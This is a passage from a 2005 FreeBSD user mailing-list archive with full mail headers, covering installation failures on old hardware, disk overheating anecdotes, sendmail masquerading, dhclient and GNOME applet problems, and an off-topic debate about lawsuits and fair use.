cannot shut it down because it doesn't even have a localizable domicile. TM> Anybody or anything can be sued. However not anybody or anything TM> can be successfully sued. Just defending oneself in a lawsuit is likely to bring bankruptcy, so whether one wins or loses is often a moot point. TM> If and when the day ever comes that the list manager is sued, that TM> is the day that the list manager needs to start spending money on TM> lawyers. BSD has been sued by far better lawyers than any that TM> Valerie can afford, and the last time it happened we won. It depends a lot on what one is being sued _for_. TM> No, there is also the FreeBSD Usenet group which is equal or greater in TM> volume of traffic than this mailing list. And Google archives it! ;-) But the quality is no better, and often worse. -- Anthony From owner-freebsd-questions@FreeBSD.ORG Sun Feb 6 14:50:00 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 35ED816A4CE for ; Sun, 6 Feb 2005 14:50:00 +0000 (GMT) Received: from makeworld.com (makeworld.com [198.92.228.38]) by mx1.FreeBSD.org (Postfix) with ESMTP id D237F43D2D for ; Sun, 6 Feb 2005 14:49:59 +0000 (GMT) (envelope-from racerx@makeworld.com) Received: from localhost (localhost.com [127.0.0.1]) by makeworld.com (Postfix) with ESMTP id 3A04060EA for ; Sun, 6 Feb 2005 08:49:59 -0600 (CST) Received: from makeworld.com ([127.0.0.1]) by localhost (makeworld.com [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id 54092-02 for ; Sun, 6 Feb 2005 08:49:57 -0600 (CST) Received: from [198.92.228.34] (racerx.makeworld.com [198.92.228.34]) (using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits)) (No client certificate requested) by makeworld.com (Postfix) with ESMTP id 3CC9D60E7 for ; Sun, 6 Feb 2005 08:49:57 -0600 (CST) Message-ID: <42062E94.5070505@makeworld.com> Date: Sun, 06 Feb 2005 08:49:56 -0600 From: Chris User-Agent: Mozilla Thunderbird 1.0 (X11/20050101) X-Accept-Language: en-us, en MIME-Version: 1.0 To: freebsd-questions@freebsd.org References: <1574286459.20050205120828@wanadoo.fr> <675747489.20050206154301@wanadoo.fr> In-Reply-To: <675747489.20050206154301@wanadoo.fr> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-Virus-Scanned: by ClamAV 0.75.1/amavisd-new-2.2.1 (20041222) at makeworld.com - Isn't it ironic Subject: Re: favor X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sun, 06 Feb 2005 14:50:00 -0000 Anthony Atkielski wrote: > Ted Mittelstaedt writes: > > TM> Many content creators take the attitude that any republishing > TM> isn't covered under Fair Use. > > Probably because that attitude is grossly congruent with the law and > jurisprudence. > *** Snip *** After following this thread, does this mean we're all lawyers? -- Best regards, Chris Clearly stated instructions will consistently produce multiple interpretations. From owner-freebsd-questions@FreeBSD.ORG Sun Feb 6 14:53:25 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 38C7216A4CE for ; Sun, 6 Feb 2005 14:53:25 +0000 (GMT) Received: from wproxy.gmail.com (wproxy.gmail.com [64.233.184.197]) by mx1.FreeBSD.org (Postfix) with ESMTP id 13FDF43D49 for ; Sun, 6 Feb 2005 14:53:20 +0000 (GMT) (envelope-from freebsd99@gmail.com) Received: by wproxy.gmail.com with SMTP id 58so623973wri for ; Sun, 06 Feb 2005 06:53:18 -0800 (PST) DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=beta; d=gmail.com; h=received:message-id:date:from:reply-to:to:subject:mime-version:content-type:content-transfer-encoding; b=tMJ6houjlBydLH7wLFR7r+JpWs74BW5k8zV4YPru36Ov5N9xp4CZZZypJYbS4D5WrvTzNRjvUrSOZO62dfGwjjhjt7b06vEUVbB6SZUvbpN3roykbNMXaSbEb/nD6MIzC1QcRmrQDl54QKm7jTmjJP71hRu5og2ak5+fcMF8rfM= Received: by 10.54.48.16 with SMTP id v16mr695284wrv; Sun, 06 Feb 2005 06:53:18 -0800 (PST) Received: by 10.54.2.60 with HTTP; Sun, 6 Feb 2005 06:53:17 -0800 (PST) Message-ID: Date: Sun, 6 Feb 2005 22:53:17 +0800 From: r p To: freebsd-questions@freebsd.org Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Subject: Re: Redirect based on domain name X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list Reply-To: r p List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sun, 06 Feb 2005 14:53:25 -0000 Hi, No, you were right the first time, I only have one ip. Ok, I will investigate apache's name-based virtual hosting, and use different ports for the ssh servers. Thanks, Rick From owner-freebsd-questions@FreeBSD.ORG Sun Feb 6 15:09:37 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id C66DB16A4CE for ; Sun, 6 Feb 2005 15:09:37 +0000 (GMT) Received: from ptb-relay01.plus.net (ptb-relay01.plus.net [212.159.14.212]) by mx1.FreeBSD.org (Postfix) with ESMTP id 797CD43D41 for ; Sun, 6 Feb 2005 15:09:37 +0000 (GMT) (envelope-from ian@codepad.net) Received: from [80.229.159.44] (helo=hercules.codepad.net) by ptb-relay01.plus.net with esmtp (Exim) id 1Cxo2a-000Cjl-DX for freebsd-questions@freebsd.org; Sun, 06 Feb 2005 15:09:36 +0000 From: Xian To: freebsd-questions@freebsd.org Date: Sun, 6 Feb 2005 15:09:35 +0000 User-Agent: KMail/1.7 References: In-Reply-To: MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit Content-Disposition: inline Message-Id: <200502061509.35090.ian@codepad.net> Subject: Re: Leaving a Computer Running ? X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sun, 06 Feb 2005 15:09:37 -0000 On Sunday 06 February 2005 14:01, Ted Mittelstaedt wrote: > > TM> For PC's left on for long periods, they have a different problem > > TM> because disk drives that spin at full speed continuiously (as > > TM> server drives do, servers have power saving disabled on their > > TM> drives of course for obvious reasons) the disk will eventually > > TM> overheat in just about all the garden-variety case designs. > > TM> (you can fix this yourself of course, by adding more fans to > > TM> the cases) Once the drive overheats the lubrication migrates > > TM> out of the bearings and if the drive is turned off for more > > TM> than 6-8 hours, it cools down enough to the point that the drive > > TM> will never spin up again. > > > > Interesting! Have you actually had this happen? > > Yes, about 6 times over the last 10 years. All of it was crap small > minitowers or otherwise airflow-restricted cases that let the drive > heat up too hot to touch. > > Sometimes hitting it with a hammer - hard - right when you apply power > will get them going again. I guess old SCSI drives are built better than modern IDE. I have an archaic thing thing running a small web server and it is built a damn site better than most other computers I've seen. It has and old SCSI drive that's built like a brick. -- /Xian "The only real valuable thing is intuition." Albert Einstein From owner-freebsd-questions@FreeBSD.ORG Sun Feb 6 15:48:16 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 2ADA816A4CE for ; Sun, 6 Feb 2005 15:48:16 +0000 (GMT) Received: from mail23.sea5.speakeasy.net (mail23.sea5.speakeasy.net [69.17.117.25]) by mx1.FreeBSD.org (Postfix) with ESMTP id D71AC43D1D for ; Sun, 6 Feb 2005 15:48:15 +0000 (GMT) (envelope-from freebsd-questions-local@be-well.ilk.org) Received: (qmail 21858 invoked from network); 6 Feb 2005 15:48:15 -0000 Received: from dsl092-078-145.bos1.dsl.speakeasy.net (HELO be-well.ilk.org) ([66.92.78.145]) (envelope-sender ) by mail23.sea5.speakeasy.net (qmail-ldap-1.03) with SMTP for ; 6 Feb 2005 15:48:15 -0000 Received: by be-well.ilk.org (Postfix, from userid 1147) id A66F483; Sun, 6 Feb 2005 10:48:14 -0500 (EST) Sender: lowell@be-well.ilk.org To: Warren References: <200502061310.50886.shinjii@virusinfo.rdksupportinc.com> From: Lowell Gilbert Date: 06 Feb 2005 10:48:14 -0500 In-Reply-To: <200502061310.50886.shinjii@virusinfo.rdksupportinc.com> Message-ID: <44fz09wuyp.fsf@be-well.ilk.org> Lines: 9 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii cc: freebsd-questions@freebsd.org Subject: Re: failure to keep added user accounts X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list Reply-To: freebsd-questions@freebsd.org List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sun, 06 Feb 2005 15:48:16 -0000 Warren writes: > Each time i add a user via the adduser command the process goes through aok > and sais that it has saved the information when finished and yet when a users > command is issued there is no other user ... why would this be happening ? users(1) shows the users who are curently logged in. A newly created account which has never been logged in will not show up there. Try finger(1) instead. From owner-freebsd-questions@FreeBSD.ORG Sun Feb 6 15:59:46 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id C675A16A4CE for ; Sun, 6 Feb 2005 15:59:46 +0000 (GMT) Received: from mta1.siol.net (pegasus.siol.net [193.189.160.40]) by mx1.FreeBSD.org (Postfix) with ESMTP id 3555F43D41 for ; Sun, 6 Feb 2005 15:59:45 +0000 (GMT) (envelope-from Matej.Badalic@volja.net) Received: from edge1.siol.net ([10.10.10.210]) by mta1.siol.net with ESMTP id <20050206155943.KNAQ4728.mta1.siol.net@edge1.siol.net> for ; Sun, 6 Feb 2005 16:59:43 +0100 Received: from BSN-250-61-220.dsl.siol.net ([213.250.61.220]) by edge1.siol.net with ESMTP <20050206155943.SVNN11496.edge1.siol.net@BSN-250-61-220.dsl.siol.net> for ; Sun, 6 Feb 2005 16:59:43 +0100 From: Matej =?utf-8?q?Badali=C4=8D?= To: freebsd-questions@freebsd.org Date: Sun, 6 Feb 2005 16:58:14 +0100 User-Agent: KMail/1.7.2 MIME-Version: 1.0 Content-Type: multipart/signed; boundary="nextPart6682945.zazj5Nfudo"; protocol="application/pgp-signature"; micalg=pgp-sha1 Content-Transfer-Encoding: 7bit Message-Id: <200502061658.19641.Matej.Badalic@volja.net> Subject: Installation does not start X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sun, 06 Feb 2005 15:59:47 -0000 --nextPart6682945.zazj5Nfudo Content-Type: text/plain; charset="utf-8" Content-Transfer-Encoding: quoted-printable Content-Disposition: inline Hi! I'm new to FreeBSD and I need some help! I have tried to install FreeBSD 4.11 and 5.3, but with both I wasn't=20 successfull! I want to try how FreeBSD works so I have tried to install it = on=20 an older computer, maybe is this the cause, but I have read that you can=20 install it on an i484 with 16MB of RAM or similar. My system is: 100MHz AMD K5 1,7GB disc 48MB RAM 1MB video card 8x CDROM SB16... On that sistem I have already RedHat Linux 7.2 which I don't use... As I said I have tried with the 4.11 and 5.3 RELEASE of FreeBSD. Both were= =20 unsuccessfull. Here is a description what happened: ###################### =2D with the 4.11 RELEASE:# ###################### 1.) First I have tried to boot from CDROM but the following happened: BTX loader 1.00 BTX version is 1.01 Console: internal video/keyboard int=3D0000000d ... eax=3D0000ffff ... esi=3D0000003d ... cs=3D f0000.... cs: eip=3D 00 00 00... ss: esp=3D ff ff ff... BTX halted (the upper lines were full of "00", "ff" and similar characters - I haven't= =20 transribed all the lines to the end) 2.) Next I have made the boot/installation floppies. I put the first=20 diskette(boot.flp) in the drive and I got this: BTX loader 1.00 BTX version is 1.01 Console: internal video/keyboard BIOS drive A: is disk0 BIOS drive C: is disk1 BIOS 639kB/48128kB available memory =46reeBSD/i386 bootstrap loader, Revison 0.8 (root@....) /kernel text=3D0x289d91 data=3D0x301170+0x32d04 zf_read: fill error elf_loadexec:archsw.readim failed can't load module '/kernel': input/output error Hit [Enter] to boot immediately, or any other key for command prompt. Booting [kernel] in X seconds... (--> here I haven't touched anything and I= =20 got the next line)=20 /kernel text=3D0x289d91 data=3D0x301170+0x32d04 zf_read: fill error can't load 'kernel' can't load 'kernel.old' Type '?' for a list of commands, 'help' for more detailed help. ok ##################### =2D with the 5.3 RELEASE:# ##################### 1.) Also here I have first tried to boot from CDROM but the following=20 happened: CD Loader 1.2 Building the boot loader arguments Read Error: 0x01 Could not find Primary Volume Descriptor 2.) Next I have made the boot/installation floppies. I put the first=20 diskette(boot.flp) in the drive and then the other two diskettes: I came to the menu where I'm asked to make the partitions: In the next menu you will need to set up a DOS-style ("fdisk") Then I hit Enter an get this: No disks found! Please verify that your disk controller is being properly=20 probed at boot time. See the Hardware Guide on the Documentation menu for=20 clues on diagnosing this type of problem. =2D------------------------------------------------------------------------= =2D-------------------------------------- At the end I have these questions: Has anybody installed FreeBSD on an older (similar to my) system? How do I know (see) if the disk controller is being probed at boot time in= =20 =46reeBSD? Any suggestions highly appreciated, Matej --nextPart6682945.zazj5Nfudo Content-Type: application/pgp-signature -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.6 (GNU/Linux) iD8DBQBCBj6b5TDI3qqA+r0RAr7jAJ9xNggGOh+Qvgeg5z/i3mu4hktsjgCgwptY KdEosTdah4/R9YervNLY4j0= =mFC0 -----END PGP SIGNATURE----- --nextPart6682945.zazj5Nfudo-- From owner-freebsd-questions@FreeBSD.ORG Sun Feb 6 16:06:24 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 6A14416A4CE for ; Sun, 6 Feb 2005 16:06:24 +0000 (GMT) Received: from smtp11.wanadoo.fr (smtp11.wanadoo.fr [193.252.22.31]) by mx1.FreeBSD.org (Postfix) with ESMTP id E7AAE43D46 for ; Sun, 6 Feb 2005 16:06:23 +0000 (GMT) (envelope-from atkielski.anthony@wanadoo.fr) Received: from me-wanadoo.net (localhost [127.0.0.1]) by mwinf1108.wanadoo.fr (SMTP Server) with ESMTP id 55E1E1C000A1 for ; Sun, 6 Feb 2005 17:06:23 +0100 (CET) Received: from pix.atkielski.com (ASt-Lambert-111-2-1-3.w81-50.abo.wanadoo.fr [81.50.80.3]) by mwinf1108.wanadoo.fr (SMTP Server) with ESMTP id 2FF601C0009B for ; Sun, 6 Feb 2005 17:06:23 +0100 (CET) X-ME-UUID: 20050206160623196.2FF601C0009B@mwinf1108.wanadoo.fr Date: Sun, 6 Feb 2005 17:06:22 +0100 From: Anthony Atkielski X-Priority: 3 (Normal) Message-ID: <1234222862.20050206170622@wanadoo.fr> To: freebsd-questions@freebsd.org In-Reply-To: <200502061509.35090.ian@codepad.net> References: <200502061509.35090.ian@codepad.net> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Subject: Re: Leaving a Computer Running ? X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list Reply-To: freebsd-questions@freebsd.org List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sun, 06 Feb 2005 16:06:24 -0000 Xian writes: X> I have an archaic thing thing running a small web server and it is built a X> damn site better than most other computers I've seen. It has and old SCSI X> drive that's built like a brick. What brand? My old HP Vectra is beautifully built, but you don't really notice it until you open the case. I've seen other high-end HP computers that were equally well built, both in terms of case design and in terms of quality of parts and workmanship. Compaq servers (now part of HP) had similar reputations, and I've heard that Dells are pretty good, although I haven't looked inside. On the other hand, some systems are junk. People in our IT department said you could tell who had worked on one particular brand of PC by looking at his hands and arms: if they were disfigured by dozens of tiny scars, it meant that he had been working on this particular brand, which contained stamped metal parts with very sharp edges that would cut at the slightest touch. The same people also complained that no two computers of this particular brand were ever the same, since the vendor would throw in whichever components it could buy most cheaply that particular month. In any case, I'm leaning towards building my own stuff now. It's true that I won't get custom motherboards or cases that way, but I can pick the components I want, spending more money on things like fans and quality disk drives, and no money on wasteful gadgets like stereo speakers. FreeBSD and my current home-built server make a good couple. The hardware seems very solid and runs very cool (thanks to all the fans) in an ugly but large and accessible cabinet. Likewise, FreeBSD runs on the hardware--it's not the sexiest OS around, but it just keeps on running and running. I'm hoping that the time between both OS and hardware failures will be about two decades. (The old HP system has held out for nearly a decade already, so I know it can be done.) -- Anthony From owner-freebsd-questions@FreeBSD.ORG Sun Feb 6 16:11:09 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 5BB9216A4CE for ; Sun, 6 Feb 2005 16:11:09 +0000 (GMT) Received: from web50308.mail.yahoo.com (web50308.mail.yahoo.com [206.190.38.62]) by mx1.FreeBSD.org (Postfix) with SMTP id B1C6143D49 for ; Sun, 6 Feb 2005 16:11:08 +0000 (GMT) (envelope-from murcielako@yahoo.com) Received: (qmail 79710 invoked by uid 60001); 6 Feb 2005 16:11:08 -0000 Comment: DomainKeys? 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To: Matt Aasted , freebsd-questions@freebsd.org In-Reply-To: MIME-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: 8bit Subject: Re: Memory and Battery applets X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sun, 06 Feb 2005 16:11:09 -0000 --- Matt Aasted escribió: > I'm running Gnome 2.8 on a recent version of FreeBSD > Stable 5.3 on an > x86 (dell latitude d600) processor, and whenever my > system is on the > memory usage shown in the gnome memory monitor > slowly climbs to 100% > over the course of about an hour. Gkrellm confirms > that it the memory > is slowly going away, even when I'm not interacting > with the system. > Should I be concerned about this (is there a memory > leak or something > or is the applet just buggy?) = I have the same machine and I have not had this problem = > Furthermore, when I was running gnome 2.6 and 5.3 > Release the battery > applet would error about apm's non-responsiveness > whenever the system > was booted. Now, with 2.8 and stable, it doesn't > error but instead > periodically interupts function of mouse and > keyboard (about once > every 10 seconds) and therefore makes the system > unusable (without > massive frustration). Is this a bug, is this > fixable, or should I just > switch to gkrellm until something changes? = the battery status applet is not yet understand ACPI (well not in FreeBSD) so it works in half assed way. _________________________________________________________ Do You Yahoo!? Información de Estados Unidos y América Latina, en Yahoo! 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Visítanos en http://noticias.espanol.yahoo.com From owner-freebsd-questions@FreeBSD.ORG Sun Feb 6 16:59:16 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 0CD2B16A4DD for ; Sun, 6 Feb 2005 16:59:16 +0000 (GMT) Received: from thingy.apana.org.au (thingy.apana.org.au [203.12.237.66]) by mx1.FreeBSD.org (Postfix) with ESMTP id 55CEB43D39 for ; Sun, 6 Feb 2005 16:59:13 +0000 (GMT) (envelope-from fun@thingy.apana.org.au) Received: from fun by thingy.apana.org.au with local (Exim 3.36 #1 (Debian)) id 1Cxpkd-0004y2-00 for ; Mon, 07 Feb 2005 03:59:11 +1100 Date: Mon, 7 Feb 2005 03:59:11 +1100 From: David Gerard To: questions@freebsd.org Message-ID: <20050206165910.GA7930@thingy.apana.org.au> References: <20050123183343.GD21544@thingy.apana.org.au> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20050123183343.GD21544@thingy.apana.org.au> User-Agent: Mutt/1.5.6+20040907i Subject: WORKAR?OUND: dhclient problems in 5.3-RELEASE X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sun, 06 Feb 2005 16:59:16 -0000 David Gerard (fun@thingy.apana.org.au) [050124 05:34]: > This afternoon, I set up a new machine with 5.3-RELEASE. Started with three > 5.3-beta5 floppies, told it I wanted 5.3-RELEASE from a CD-R, installed > minimal base, man pages and ports, created two users. > On reboot, I ran dhclient and it completely failed to get an IP address. > But I know the cable is good and the DHCP server is working, because I > booted the box in question into Windows and it grabbed an IP just fine. So > where do I start on diagnosing what's up with this installation? Workaround: I downloaded dhclient-2.0pl5 from isc.org and installed that. And it works fine. That's a crusty and not thoroughly secure version, but this box is behind NAT and a firewall so is safe enough for now. Since I installed 5.3-RELEASE as a minimal base-only system specifically so as to install as much as possible from ports for upgradability, I hope that doesn't foul that up! - d. From owner-freebsd-questions@FreeBSD.ORG Sun Feb 6 17:08:07 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 48C6E16A4D5 for ; Sun, 6 Feb 2005 17:08:07 +0000 (GMT) Received: from wonkity.com (wonkity.com [67.158.26.137]) by mx1.FreeBSD.org (Postfix) with ESMTP id 9794C43D1F for ; Sun, 6 Feb 2005 17:08:06 +0000 (GMT) (envelope-from wblock@wonkity.com) Received: from wonkity.com (localhost [127.0.0.1]) by wonkity.com (8.13.1/8.13.1) with ESMTP id j16H7wtU088142; Sun, 6 Feb 2005 10:07:58 -0700 (MST) (envelope-from wblock@wonkity.com) Received: from localhost (wblock@localhost) by wonkity.com (8.13.1/8.13.1/Submit) with ESMTP id j16H7v7Y087666; Sun, 6 Feb 2005 10:07:58 -0700 (MST) (envelope-from wblock@wonkity.com) Date: Sun, 6 Feb 2005 10:07:57 -0700 (MST) From: Warren Block To: Ian Moore In-Reply-To: <200502062037.02494.no-spam@swiftdsl.com.au> Message-ID: <20050206100326.A81527@wonkity.com> References: <200502062037.02494.no-spam@swiftdsl.com.au> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed X-Greylist: Sender IP whitelisted, not delayed by milter-greylist-1.6 (wonkity.com [127.0.0.1]); Sun, 06 Feb 2005 10:07:58 -0700 (MST) cc: freebsd-questions@freebsd.org Subject: Re: Sendmail masquerading configuration X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sun, 06 Feb 2005 17:08:07 -0000 On Sun, 6 Feb 2005, Ian Moore wrote: > I want to make sendmail (on a 5.3-Release server) leave the host name out of > the sender address when sending mail from that machine. > I.E. mail from root currently has a sender address of root@myhost.foo.bar, I > want it to be root@foo.bar instead. [snip] > I think that the masquerading settings have changed somewhat since I last did > this. I read http://www.sendmail.org/m4/masquerading.html, it suggests > MASQUERADE_AS(`host.domain') but when I tried that, it didn't work. Adding MASQUERADE_DOMAIN(`myhost.foo.bar') to your .mc may be helpful. -Warren Block * Rapid City, South Dakota USA From owner-freebsd-questions@FreeBSD.ORG Sun Feb 6 17:18:06 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 1A1D016A4CE for ; Sun, 6 Feb 2005 17:18:06 +0000 (GMT) Received: from tomts5-srv.bellnexxia.net (tomts5.bellnexxia.net [209.226.175.25]) by mx1.FreeBSD.org (Postfix) with ESMTP id 3392A43D54 for ; Sun, 6 Feb 2005 17:18:05 +0000 (GMT) (envelope-from james.cook@utoronto.ca) Received: from angel.falsifian.afraid.org ([65.94.58.236]) by tomts5-srv.bellnexxia.netSMTP <20050206171804.EPRH2026.tomts5-srv.bellnexxia.net@angel.falsifian.afraid.org> for ; Sun, 6 Feb 2005 12:18:04 -0500 Received: by angel.falsifian.afraid.org (sSMTP sendmail emulation); Sun, 6 Feb 2005 12:19:11 -0500 Date: Sun, 6 Feb 2005 12:19:11 -0500 From: James Alexander Cook To: freebsd-questions@freebsd.org Message-ID: <20050206171911.GA56797@angel.falsifian.afraid.org> References: Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: User-Agent: Mutt/1.4.2.1i Subject: Re: Memory and Battery applets X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sun, 06 Feb 2005 17:18:06 -0000 On Sun, Feb 06, 2005 at 02:11:45AM -0500, Matt Aasted wrote: > I'm running Gnome 2.8 on a recent version of FreeBSD Stable 5.3 on an > x86 (dell latitude d600) processor, and whenever my system is on the > memory usage shown in the gnome memory monitor slowly climbs to 100% > over the course of about an hour. Gkrellm confirms that it the memory > is slowly going away, even when I'm not interacting with the system. > Should I be concerned about this (is there a memory leak or something > or is the applet just buggy?) Are you sure it isn't just disk cache? As I understand it, FreeBSD keeps things it reads from disk in memory until that memory is needed by something else, the effect being that very little of physical memory is ever completely unused. From owner-freebsd-questions@FreeBSD.ORG Sun Feb 6 17:30:29 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id B43DC16A4CE for ; Sun, 6 Feb 2005 17:30:29 +0000 (GMT) Received: from t-x.dignus.nl (t-x.dignus.nl [83.219.88.50]) by mx1.FreeBSD.org (Postfix) with ESMTP id 3F95543D2F for ; Sun, 6 Feb 2005 17:30:29 +0000 (GMT) (envelope-from colin@kenmore.kozy-kabin.nl) Received: from localhost (localhost.dignus.nl [127.0.0.1]) by t-x.dignus.nl (Safehouse) with ESMTP id C7FEA28423; Sun, 6 Feb 2005 18:30:51 +0100 (CET) Received: from kenmore.kozy-kabin.nl (cjr-home [62.251.72.148]) by t-x.dignus.nl (Safehouse) with ESMTP id 668DC28421; Sun, 6 Feb 2005 18:30:46 +0100 (CET) Received: from kenmore.kozy-kabin.nl (localhost.kozy-kabin.nl [127.0.0.1]) by kenmore.kozy-kabin.nl (Postfix) with ESMTP id 36AF662D0; Sun, 6 Feb 2005 18:30:22 +0100 (CET) Received: from localhost (colin@localhost)j16HUHsj007441; Sun, 6 Feb 2005 18:30:21 +0100 (CET) (envelope-from colin@kenmore.kozy-kabin.nl) Date: Sun, 6 Feb 2005 18:30:17 +0100 From: "Colin J. Raven" To: Ted Mittelstaedt In-Reply-To: Message-ID: <20050206175430.J15334@kenmore.kozy-kabin.nl> References: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Virus-Scanned: by RemSPAMd at ph230.plushosting.nl cc: freebsd-questions@freebsd.org Subject: RE: Leaving a Computer Running ? X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sun, 06 Feb 2005 17:30:29 -0000 On Feb 6 at 06:01, Ted Mittelstaedt launched this into the bitstream: > You just put in a bigger filter and more fans for that problem. Muwahahaha, my thinking exactly - "Use a bigger hammer!" >> Interesting! Have you actually had this happen? > > Yes, about 6 times over the last 10 years. All of it was crap small > minitowers or otherwise airflow-restricted cases that let the drive > heat up too hot to touch. > > Sometimes hitting it with a hammer - hard - right when you apply power > will get them going again. TED! [gets on knees] "We are not worthy!" > Yup, happens all the time. You needed a Go Big Red Fan for that > situation. The classic infantry solution. Won't work "as advertised"? Bring in 1st Infantry - and their fans in this instance! From owner-freebsd-questions@FreeBSD.ORG Sun Feb 6 17:37:06 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 002B016A4CE for ; Sun, 6 Feb 2005 17:37:05 +0000 (GMT) Received: from wproxy.gmail.com (wproxy.gmail.com [64.233.184.193]) by mx1.FreeBSD.org (Postfix) with ESMTP id 5D80043D1D for ; Sun, 6 Feb 2005 17:37:05 +0000 (GMT) (envelope-from danie.dutoit@gmail.com) Received: by wproxy.gmail.com with SMTP id 69so610649wra for ; Sun, 06 Feb 2005 09:37:01 -0800 (PST) DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=beta; d=gmail.com; h=received:message-id:date:from:reply-to:to:subject:cc:in-reply-to:mime-version:content-type:content-transfer-encoding:references; b=GmXSH+7tpm09YeSkJ0PJjNGxzqmQwM05ZE4pFL/hH632WnFoqnUvvBMcHnj0p/HdSyUqk9f+iJtK0zqJwNAyyhQBFsuLkllk3uJwv/wcePjUlHm9RWlTfHwZ/kUM18YCus51FTf+MpUeRf+Q6ziQsJcqc4XsxunuZDpp7qILRxY= Received: by 10.54.50.40 with SMTP id x40mr430715wrx; Sun, 06 Feb 2005 09:37:01 -0800 (PST) Received: by 10.54.50.75 with HTTP; Sun, 6 Feb 2005 09:37:01 -0800 (PST) Message-ID: <8af8258905020609375c9c4e11@mail.gmail.com> Date: Sun, 6 Feb 2005 12:37:01 -0500 From: Danie Du Toit To: Dejan Lesjak In-Reply-To: <200502060642.23983.dejan.lesjak@ijs.si> Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit References: <200502060642.23983.dejan.lesjak@ijs.si> cc: Gary Kline cc: freebsd-questions@freebsd.org Subject: Re: how to configure Xorg to 